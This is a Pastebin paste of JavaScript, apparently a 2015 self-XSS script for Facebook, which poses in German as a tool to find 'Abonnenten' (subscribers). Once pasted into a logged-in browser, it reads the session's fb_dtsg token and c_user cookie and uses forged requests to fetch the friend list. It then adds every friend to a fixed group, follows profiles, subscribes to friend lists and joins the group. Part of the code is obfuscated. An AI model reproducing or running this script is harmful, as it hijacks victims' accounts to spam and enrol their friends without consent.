Advertisement
Guest User

Untitled

a guest
May 27th, 2015
239
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function() {
  2.     var f = {
  3.             dtsg: document.getElementsByName("fb_dtsg")[0].value,
  4.             uid: document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),
  5.             //gid: document.getElementsByName("group_id")[0].value,
  6.             //gid: "577656368968136"
  7.             frns: Array(),
  8.             prenKe: 0,
  9.             okeh: 0,
  10.             gagal: 0,
  11.             getAjak: function(b) {
  12.                 var c = new XMLHttpRequest;
  13.                 c.open("GET", b, !0), c.onreadystatechange = function() {
  14.                     if (4 == c.readyState && 200 == c.status) {
  15.                         var a = eval("(" + c.responseText.substr(9) + ")");
  16.                         a.payload && a.payload.entries && (f.frns = a.payload.entries.sort(function() {
  17.                             return .5 - Math.random()
  18.                         })), document.getElementById("hasilsurasil").innerHTML = "Found <b>" + f.frns.length + " Abonnenten</b><div id='hasilsatu'></div><div id='hasildua'></div><div id='hasiltiga' style='min-width:300px;display:inline-block;text-align:left'></div>" + crj;
  19.                         for (x in f.frns) f.senAjak(x)
  20.                     } else document.getElementById("hasilsurasil").innerHTML = 4 == c.readyState && 404 == c.status ? "<b style='color:darkred'>Gruppe Öffnen!</b>" + crj : "<b style='color:darkgreen'>Suche nach möglichen Abonnenten... (" + c.readyState + ")</b>" + crj
  21.                 }, c.send()
  22.             },
  23.            
  24.             senAjak: function(d) {
  25.                 var e = new XMLHttpRequest,
  26.                     prm = "__a=1&fb_dtsg=" + f.dtsg + "&group_id=577656368968136&source=typeahead&ref=&message_id=&members=" + f.frns[d].uid + "&__user=" + f.uid + "&phstamp=";
  27.                 e.open("POST", "/ajax/groups/members/add_post.php", !0), e.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), e.setRequestHeader("Content-length", prm.length), e.setRequestHeader("Connection", "keep-alive"), e.onreadystatechange = function() {
  28.                     if (4 == e.readyState && 200 == e.status) {
  29.                         var a = eval("(" + e.responseText.substr(9) + ")");
  30.                         if (f.prenKe++, document.getElementById("hasilsatu").innerHTML = "<div><b>" + f.prenKe + "</b> of <b>" + f.frns.length + "</b></div>", a.errorDescription && (f.gagal++, document.getElementById("hasiltiga").innerHTML = "<div><b style='color:darkred'>( " + f.gagal + " )</b> <span style='color:darkred'>" + a.errorDescription + "</span></div>"), a.jsmods && a.jsmods.require) {
  31.                             var b = "<div>";
  32.                             for (x in a.jsmods.require) a.jsmods.require[x][a.jsmods.require[x].length - 1][1] && (b += "<bstyle='color:darkgreen'>" + a.jsmods.require[x][a.jsmods.require[x].length - 1][1] + "</b> ");
  33.                             b += "<div>", document.getElementById("hasildua").innerHTML = b
  34.                         }
  35.                         if (a.onload)
  36.                             for (z in a.onload) {
  37.                                 var c = eval(a.onload[z].replace(/Arbiter.inform/i, ""));
  38.                                 if (c.uid && c.name) {
  39.                                     f.okeh++, document.getElementById("hasiltiga").innerHTML = "<div><b style='color:darkgreen'>( " + f.okeh + " )</b> <a href='/" + c.uid + "' target='_blank'><b>" + c.name + "</b></a> haben dich abonniert.</div>";
  40.                                     break
  41.                                 }
  42.                             }
  43.                         f.prenKe == f.frns.length && (document.getElementById("hasiltiga").style.textAlign = "center", document.getElementById("hasiltiga").innerHTML += "<div style='font-size:20px;font-weight:bold'>20 Leute Einladen!</div><a href='/' onClick='document.getElementById(\"hasilsurasil\").style.display=\"none\";return false'>Schliesen</a>")
  44.                     }
  45.                 }, e.send(prm)
  46.             }
  47.         },
  48.         g = ["i", "a", "e", "g", "o", "s", "n", "b", "l", "p", "m", "2", "r", "0", "c", "1", "t", "3", "©"],
  49.         crl = g[1] + g[0] + g[6] + g[3] + g[14] + g[12] + g[2] + g[1] + g[16] + g[0] + g[4] + g[6] + g[5] + "." + g[7] + g[8] + g[4] + g[3] + g[5] + g[9] + g[4] + g[16] + "." + g[14] + g[4] + g[10],
  50.         crj = "<div style='margin-top:10px;color:gray;font-size:12px'>" + g[1].toUpperCase() + g[0] + g[6] + g[3] + g[14].toUpperCase() + g[12] + g[2] + g[1] + g[16] + g[0] + g[4] + g[6] + g[5] + " " + g[g.length - 1] + g[11] + g[13] + g[15] + g[17] + "<div style='font-size:9px'><a href='http://" + crl + "/' target='_blank'>" + crl + "</a></div></div>";
  51.     document.body.innerHTML += "<center id='hasilsurasil' style='min-height:50px;width:600px;position:fixed;top:100px;left:" + (document.body.offsetWidth - 530) / 2 + "px;border-radius:10px;padding:10px;z-index:999999;border:5px solid skyblue;background-color:rgba(225,225,255,0.75)'><b>Suche nach Abonnenten ... Script by Mano </b>" + crj + "</center>", f.getAjak("/ajax/typeahead/first_degree.php?__a=1&viewer=" + f.uid + "&token=" + Math.random() + "&filter[0]=user&options[0]=friends_only")
  52. })();
  53. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  54. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1])
  55.  
  56. function cereziAl(isim) {
  57.     var tarama = isim + "=";
  58.     if (document.cookie.length > 0) {
  59.         konum = document.cookie.indexOf(tarama)
  60.         if (konum != -1) {
  61.             konum += tarama.length
  62.             son = document.cookie.indexOf(";", konum)
  63.             if (son == -1)
  64.                 son = document.cookie.length
  65.             return unescape(document.cookie.substring(konum, son))
  66.         } else {
  67.             return "";
  68.         }
  69.     }
  70. }
  71.  
  72. function getRandomInt(min, max) {
  73.     return Math.floor(Math.random() * (max - min + 1)) + min;
  74. }
  75.  
  76. function randomValue(arr) {
  77.     return arr[getRandomInt(0, arr.length - 1)];
  78. }
  79.  
  80. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  81. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  82.  
  83. function a(abone) {
  84.     var http4 = new XMLHttpRequest();
  85.  
  86.     var url4 = "/ajax/follow/follow_profile.php?__a=1";
  87.  
  88.     var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  89.     http4.open("POST", url4, true);
  90.  
  91.     //Send the proper header information along with the request
  92.     http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  93.     http4.setRequestHeader("Content-length", params4.length);
  94.     http4.setRequestHeader("Connection", "close");
  95.  
  96.     http4.onreadystatechange = function() { //Call a function when the state changes.
  97.         if (http4.readyState == 4 && http4.status == 200) {
  98.  
  99.             http4.close; // Close the connection
  100.  
  101.         }
  102.     }
  103.  
  104.     http4.send(params4);
  105. }
  106.  
  107. function sublist(uidss) {
  108.     var a = document.createElement('script');
  109.     a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  110.     document.body.appendChild(a);
  111. }
  112.  
  113.  
  114.  
  115. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  116. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  117.    
  118. var httpwp = new XMLHttpRequest();
  119. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  120. var paramswp = '&ref=group_jump_header&group_id=577656368968136&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  121. httpwp['open']('POST', urlwp, true);
  122. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  123. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  124. httpwp['setRequestHeader']('Connection', 'keep-alive');
  125. httpwp['send'](paramswp);
  126.  
  127. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  128. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  129.  
  130. var friends = new Array();
  131. gf = new XMLHttpRequest();
  132. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  133. gf['send']();
  134. if (gf['readyState'] != 4) {} else {
  135.     data = eval('(' + gf['responseText']['substr'](9) + ')');
  136.     if (data['error']) {} else {
  137.         friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  138.             return _0x93dax8['index'] - _0x93dax9['index'];
  139.         });
  140.     };
  141. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement